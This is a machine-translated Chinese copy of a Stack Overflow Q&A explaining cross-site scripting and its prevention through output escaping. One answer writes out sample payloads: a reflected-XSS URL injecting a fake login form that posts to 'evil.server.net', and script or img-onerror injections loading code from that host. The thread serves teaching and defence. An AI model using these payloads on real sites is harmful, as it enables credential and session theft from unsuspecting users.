XSS背后的一般概念是什么?

时间:2010-02-09 22:34:48

标签: xss spam-prevention

  

跨站点脚本(XSS)是一种类型   计算机安全漏洞   通常在Web应用程序中找到   这使恶意攻击者能够   将客户端脚本注入Web   其他用户查看的页面。一个   利用跨站点脚本   漏洞可以被攻击者使用   绕过访问控制,如   同源政策。跨站点   在网站上进行的脚本编写是   大约80%的安全性   Symantec记录的漏洞   截至2007年。

好的,这是否意味着黑客在访问一个没有输入的合法网站时会制作一些恶意的JS / VBscript并将其传递给毫无戒心的受害者?

我的意思是,我知道SQL注入是如何完成的......

我特别不明白JS / VBscript如何造成如此大的破坏!我觉得它们只能在浏览器中运行,但显然损坏的范围是keylogging to cookie stealing and trojans

我对XSS的理解是否正确?如果没有,有人可以澄清吗?

如何防止XSS在我的网站上发生?这似乎很重要; 80%的安全漏洞意味着它是危害计算机的极为常见的方法。

5 个答案:

答案 0 :(得分:21)

由于已经给出了关于XSS如何恶意的答案,我将仅在XSS上发布两个不错的flash介绍并回答以下未回答的问题:

  

如何防止XSS在我的网站上发生?

以下是关于XSS的两个不错的flash介绍:

对于防止XSS,您需要HTML-escape 任何 用户控制的输入,当它们即将在页面上重新显示时。这包括请求标头,请求参数以及将从数据库提供的任何存储的用户控制输入。特别是<>"'需要进行转义,因为它可能会导致重新显示此输入的周围HTML代码不正确。

几乎所有的视图技术都提供了内置的方法来转义HTML(或XML,这也足够了)entities

在PHP中,您可以使用htmlspecialchars()执行此操作。 E.g。

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

如果您还需要使用它来转义单引号,则需要提供ENT_QUOTES参数,另请参阅上面链接的PHP文档。

在JSP中,您可以使用JSTL <c:out>fn:escapeXml()来完成此操作。 E.g。

<input name="foo" value="<c:out value="${param.foo}" />">

<input name="foo" value="${fn:escapeXml(param.foo)}">

请注意,在请求处理期间,您实际上不需要转义XSS,而只是在响应处理期间。在请求处理期间不需要转义,并且可能迟早会错误地输入用户输入(并且作为网站管理员,您还想知道 有问题的用户实际上已进入,以便您可以在必要时采取社会行动)。关于SQL注入,只是在数据即将持久存储在数据库中的请求处理期间将其转义。

答案 1 :(得分:19)

直接前进XSS

  1. 我发现谷歌有一个xss漏洞
  2. 我编写了一个脚本,重写了一个公共谷歌页面,看起来与实际的谷歌登录完全一样
  3. 我的虚假页面提交给第三方服务器,然后重定向回真实页面
  4. 我得到谷歌帐号密码,用户没有意识到发生了什么,谷歌不知道发生了什么
  5. XSS作为CSRF的平台(据说这实际上发生了)

    1. 亚马逊有一个csrf漏洞,其中“始终保持登录状态”Cookie允许您将条目标记为冒犯
    2. 我在高流量网站上发现了一个xss漏洞
    3. 我写了一个javascript,点击网址,标记由亚马逊的同性恋作者撰写的所有书籍作为攻击
    4. 对亚马逊来说,他们正在通过真正的身份验证cookie从真实浏览器获得有效请求。所有书籍一夜之间就从网站上消失了
    5. 互联网吓坏了。
    6. XSS作为会话固定攻击的平台

      1. 我发现一个电子商务网站在登录后没有重置会话(像任何asp.net网站一样),能够通过查询字符串或cookie传递会话ID,并在会话中存储身份验证信息(很常见)
      2. 我在该网站的网页上发现了一个XSS漏洞
      3. 我编写了一个脚本,将会话ID设置为我控制的
      4. 有人点击该页面,并且遇到了我的会话。
      5. 他们登录
      6. 我现在有能力做任何我想做的事情,包括用保存卡购买产品
      7. 这三个是大的。 XSS,CSRF和会话修复攻击的问题在于它们非常非常难以追踪和修复,并且非常容易允许,特别是如果开发人员对它们了解不多。

答案 2 :(得分:6)

  

我不知道JS / VBscript如何造成如此大的伤害!

确定。假设您有一个站点,该站点由http://trusted.server.com/thesite提供。假设此网站有一个搜索框,当您搜索网址时会显示:http://trusted.server.com/thesite?query=somesearchstring

如果网站决定不处理搜索字符串并将其输出到结果中,例如“你搜索”somesearchstring“没有产生任何结果,那么任何人都可以将任意html注入网站。例如:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

因此,在这种情况下,网站将在搜索结果页面上尽职尽责地显示虚假登录表单,如果用户提交,则会将数据发送到邪恶的不受信任的服务器。但是用户没有看到,尤其是如果网址真的很长,他们只会看到第一个但是,并假设他们正在与trusted.server.com打交道。

对此的变化包括注入<script>标记,该标记将事件处理程序添加到文档以跟踪用户的操作,或将文档cookie发送到恶意服务器。这样您就可以进入登录,密码或信用卡数据等敏感数据。或者,您可以尝试插入占用整个客户端窗口的特殊样式<iframe>,并提供一个看起来像原始但实际上源自evil.server.com的网站。只要用户被欺骗使用注入的内容而不是原始内容,安全性就会被破坏。

这种类型的XSS称为反射和非持久性。反思因为url直接在响应中被“重新选择”,而非持久性因为实际站点没有被更改 - 它只是用作传递。请注意,像https这样的东西在这里没有提供任何保护 - 网站本身已被破坏,因为它通过查询字符串鹦鹉参与用户输入。

现在的诀窍是让毫无戒心的用户信任你给他们的任何链接。例如,您可以向他们发送HTML电子邮件,并包含一个吸引人的链接,指向伪造的网址。或者你也许可以在维基,论坛等上传播它。我相信你可以欣赏它到底有多容易 - 它只是一个链接,什么可能出错,对吧?

有时可能会更糟。有些网站实际存储用户提供的内容。简单示例:对博客或论坛中的主题的评论。或者它可能更微妙:社交网络上的用户个人资料页面。如果这些页面允许任意html,尤其是脚本,这个用户提供的html被存储和复制,然后每个只访问包含此内容的页面的人都有风险。这是持久的XSS。现在用户甚至不再需要点击链接了,只需访问即可。实际攻击再次包括通过脚本修改页面以捕获用户数据。

脚本注入可能是生硬的,例如,可以插入完整的<script src="http://evil.server.net/script.js">或者它可能很微妙:<img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>

至于如何保护自己:关键是永远不要输出用户输入。如果您的网站围绕用户提供的带有标记的内容,这可能会很困难。

答案 3 :(得分:5)

想象一个网络论坛。 XSS攻击可能是我用一些javascript发帖。当您浏览到该页面时,您的网页将加载并运行js并执行我所说的内容。当您浏览页面并且很可能已登录时,我的javascript将执行您有权执行的任何操作,例如发帖,删除帖子,插入垃圾邮件,显示弹出窗口等。

因此,XSS的真正概念是脚本在您的用户上下文中执行,这是一种权限提升。您需要小心,在您的应用程序中接收用户输入的任何地方都会转义其中的任何脚本等,以确保无法完成XSS。

你必须注意二次攻击。想象一下,如果我将恶意脚本放入我的用户名中。这可能会在未经检查的情况下进入网站,然后未经检查而退回,但随后使用我的用户名查看的任何页面实际上都会在您的用户上下文中执行恶意脚本。

转义用户输入。不要滚动代码来执行此操作。检查所有内容,以及所有内容。

答案 4 :(得分:0)

XSS攻击问题与捕鱼有关。问题在于,客户信任的站点可能会注入代码,该代码会导致攻击者为特定目的制作站点。例如,窃取敏感信息。

因此,在XSS攻击中,入侵者不会进入您的数据库并且不会弄乱它。他正在玩客户感觉这个网站是安全的,并且它上面的每个链接都指向一个安全的位置。

这只是真正攻击的第一步 - 将客户带入恶劣的环境中。

我可以举个简短的例子。例如,如果一家银行机构在他们的页面上放置了一个shoutbox,并且他们不会阻止我进行XSS攻击,我可以大喊“嘿来这个链接并输入密码和信用卡号进行安全检查!” ......你知道这个链接会导致什么,对吗?

您可以通过确保不在页面上显示任何内容来防止XSS攻击,这些内容来自用户的输入,而不会转义html标记。特殊字符应该被转义,这样它们就不会干扰你的html页面的标记(或者你使用的任何技术)。有许多库提供此功能,包括Microsoft AntiXSS库。